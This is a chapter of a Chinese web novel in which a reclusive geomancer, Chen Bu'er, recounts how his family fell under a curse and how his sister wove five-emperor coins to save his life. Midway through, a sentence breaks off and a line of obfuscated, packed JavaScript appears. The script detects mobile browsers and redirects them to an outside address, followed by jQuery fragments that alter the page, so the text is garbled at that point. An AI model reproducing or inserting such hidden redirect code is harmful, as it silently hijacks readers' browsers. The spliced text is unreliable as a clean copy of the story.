71. 高人解困
作品:《渣了忠犬后双双重生了》 “您就是那位无名氏?”崔九堂不可置信的开口。
他万万没有想到面前的这位老人,竟然就是那本书的原作。
当他再次仔细端详起这位老者时,只见他长眉入鬓,花白的头发高高地挽成了一个发髻,可能因病卧塌了几日,那发丝稍显的凌乱了些,可是更加凸显出这老人的仙风道骨来。
这位姓陈的老伯轻轻颔首表示了肯定,面色从容不迫。
老人的额头极为饱满,目如铜心,端地是一副老道模样。
“老朽陈不二,又名黎粟山人,不知小友可曾听说过?”
崔九堂未做出什么反应,可是一旁的文欢却倒吸了一口冷气。
她熟读各类书籍,其中也包括一些野史和游记杂记等,对于这种民间高人自然有一些了解。
在她刚入京城的时候,便听说有一名叫黎粟山人的道长,乃是张天师一脉的传人,通晓阴阳五行,洞察世间万物本质,更是于堪于风水之术上颇有造诣。
想当年,先祖皇帝准备修建皇陵时,曾经派人前去寻找黎粟山人,并亲自请求他为自己修建一座陵墓。
黎粟山人取出那只黄铜罗盘,在大殿内横竖丈量,反复走了几遍,终于算出了一处方位乃是绝佳的风水宝地,正是现如今的先祖皇帝陵墓。
只是待太上皇登基后,便再也寻不到这位黎粟山人了,当年太上皇预备为自己修建皇陵的时候还长吁短叹了好久,可是谁也没有想到,这位鼎鼎有名的黎粟山人竟然大隐于世,藏匿在京城中一处民宅内,靠着贩卖旧书旧物等维生。
崔九堂后退了半步,恭恭敬敬向他行了一个晚辈礼。
“晚辈不知先生身份,略有唐突,还请先生见谅。”
老先生摆了摆手,丝毫不在意,只是站起身来,摇摇晃晃的欲向外走去。
二人见状,连忙一左一右上前搀扶着他。
老人轻轻侧身,躲开了二人的靠近。
“我并无心情再写什么书,二位若想找些解闷的话本子,不如去街角的书肆看一看,那里的藏书比老头子我这边的破书多不少,至于二味的救命之恩,老朽之后自当加倍奉还。”
崔九堂有些着急,快步追上前去,挡在了他的面前。
“我二人前来寻您,并非是要用这本书解闷,而是您这本书中所写的,那个利用堪舆术在旱灾时打井的故事,我在靠近京城的南山驿后院发现一处水井,正如您书中所写的那般,即便在天下大旱的时候,也能源源不断地打出清凉的井水来,想必您写的那个,应当不仅仅只是个故事吧?”
黎粟山人脚步一滞,定定立在远地,半晌才发出一声轻轻的叹息,那叹息声中,隐隐含着些说不清道不明的苦涩。
“你二人随我前来。”
回到了黎粟山人的住处,他缓缓地坐在堂屋内的一把扶手椅上,眼神有些凝滞,似乎是沉浸在某种回忆之中。
“看到门口的五帝钱了吗?”黎粟山人忽而没头没脑的问了这样一句话,二人微微一愣,随即点头。
“这是我最小的妹妹亲手为我编的,她是我最后一位亲人。”
黎粟山人年轻的时候被张天师看中,收做了徒弟,便一直在身边带着亲自教导着。这张天师乃是青龙教正宗门的第十二代传人,能成为他的徒弟,不知是多少修道弟子们梦寐以求的事情,他自然也不例外。
于是他便开始跟着师傅四处游历学习,因为他的悟性极高,所以不过数年间,便将青龙教最为拿手的堪舆术领悟的炉火纯青,甚至隐隐有力压整个宗门的气势在。
一时间名声大噪,许多世家乃至于皇族都听说了这位年轻道人的名字,于是纷纷重金请他帮忙看八字或者是风水。
他的师傅不止一次的警告,他此番会折损自己的福报,可是年纪轻轻便获得了如此成就的陈不二哪里肯收手,将师傅的话直接抛到了脑后,行事更是随心所欲,肆意妄为。
张天师见多次劝阻他无效,只丢下了一句好自为之后,便直接回了宗门。
开始的几年他确实过得风生水起,名声大噪不说,还获得了许多王侯将相的赏识,更是连当时的皇帝都亲自邀请他为自己选择陵墓的位置。
他确实也有些狂傲的资本,在堪舆一术上从未有过失误。
这中间他也回过几次宗门,可是每当他想回去将这些成就分享给自己的师傅时,那看守山门的小童总是找各种理由不让他进,最后他也恼了,也不再坚持二人间师徒的缘分,只是依照自己的想法行事。
可是没过几年,他家中的兄长找到了他,只说是爹娘都患上了一种奇怪的疾病,这病的症状有些像天花,可是治疗天花的药物却对他们无效。
等到他归家时,他的爹娘刚好咽下最后一口气。
陈不二本以为只是寻常的病症,可能只是因为爹娘年纪大了,这才一命呜呼,他虽悲痛欲绝,可是也无可奈何,毕竟生老病死皆不由人。
于是他便替二人寻了一处风水宝地,算出了一个吉时将二老下葬。
可是没过几年,他的两名兄长以及一位长姐都因为这个病症亡故了,他这才意识到有些不对,于是连夜赶回家乡,反复查看了自家的祖坟以及爹娘墓穴的风水,确认是绝佳的风水宝地后,他也陷入了疑惑。
他使出必生绝学,将各种可能的术法都排查了一遍,断绝了被对家下手的可能性后,茫然无措的他这才想到了师傅当年的话。
他现在仅仅剩下一位亲人,便是他自小极为疼爱的妹妹,名叫陈易一,他便带着妹妹返回宗门,求师傅救妹妹一命。
他在宗门前跪了半个月,终于在奄奄一息间看见了师傅那张熟悉的面容。
等到他醒来时已然在宗门内了,他艰难地起身,连忙四处查看妹妹的踪迹,见到她正在院子里的秋千上捧着一本书,正看得入神,于是高高悬起的心又轻轻放下了。
他在小屋中修养了半日,待到晚间的时候终于见到了师傅。
他恍惚了一瞬,距离上次见到师傅,已然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083994|162271||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过去了十余年,可是师傅的面容却与上一次他们二人分别时一般无二。
那时候的自己还不到二十岁,与师傅站在一起时很明显的,能看出二人年龄的差距。
可是现如今的他忍不住低头又看了看自己,这些年的经历已然让他生出了几许华发,二人再次站在一起时,竟好似同龄人一般。
他怔了一瞬,随即扑通一声跪在师傅面前,大滴的泪水顺着面颊滑落,砸在面前的青石地板上,他声音哽咽,想说出口的话却哽在了喉间。
“师,师傅,徒儿错了,徒儿当年不该被那富贵迷了眼,不该不听您的话…徒儿即便是就此送了命,倒也是天道轮回,可是我的这个妹妹,她真的是无辜的呀。只求师傅救下我妹妹的性命。”
张天师掐指一算,心中暗道不好,命数已定,任谁也无法更改,即便是强行逆天改命,怕也是会被反噬,这个傻徒儿现如今还有闲心担心自己的妹妹,殊不知自己……
哎,都是命数。
陈不二这些年凭着身本领,做下了无数逆天改命的事情,泄露了天机,不仅仅他本人会因此早亡,更是自此落下了一个六亲缘浅的命数。
他虽然心中清楚这兄妹二人的性命都难保全,可是看着涕泪交加的徒弟,残忍的话还是未能说出口,只是好生劝诫着他,莫要在随意泄露天机。
陈不二听得师傅安慰劝诫自己,便以为无事了,只是就此留在宗门,潜心钻研道法来。
他的妹妹陈易一是个聪慧灵秀的人儿,整个宗门从上至下无人不喜欢她,她也因此可以在宗门内自由来去,不受限制。
一日,她做了些糕饼,正准备送至几位大师傅的房中时,偶然听见张天师在与人说话,她本来准备转身回避,却意外听到了兄长的名字。
“师尊,我观不二印堂发黑,鼻梁有青筋暴起,怕是不好啊。”
张天师长叹了一口气,只说他泄露天机太多,结局凄凉,随即他话锋一转又道,“不过他也无意间积德行善,替自己积攒了许多福报,倒也是有一线生机,只是这生机,哎,罢了罢了。”
陈易一乍然听得这一番话,手上的糕饼洒落一地,急忙冲了进去跪在二位道长的面前,求他们告知哥哥的这一线生机究竟是什么。
张天师并不愿开口,只说是会有损福报,陈易一一把扯下发间的银簪,抵在了自己的喉间,只说是愿一命换一命。
眼见她的喉间已然见了血,事已至此再遮掩下去也毫无意义,张天师只得说出真相。
虽然陈不二泄露天机,但毕竟助天子修缮陵墓,乃是有镇国运的至善之事,只要至亲亲手编织一副五帝钱,悬于门前九九八十一日,应当能保住一条性命。
只是会折了至亲的运势,张天师也知道他只有这一个妹妹,且寿数不定,怕行此法会直接送了陈易一的性命,这才不愿说出此法。
*
说到这里,陈老伯停了下来,他怔怔地盯着门前那两串随风碰撞,发出轻微响声的五帝钱。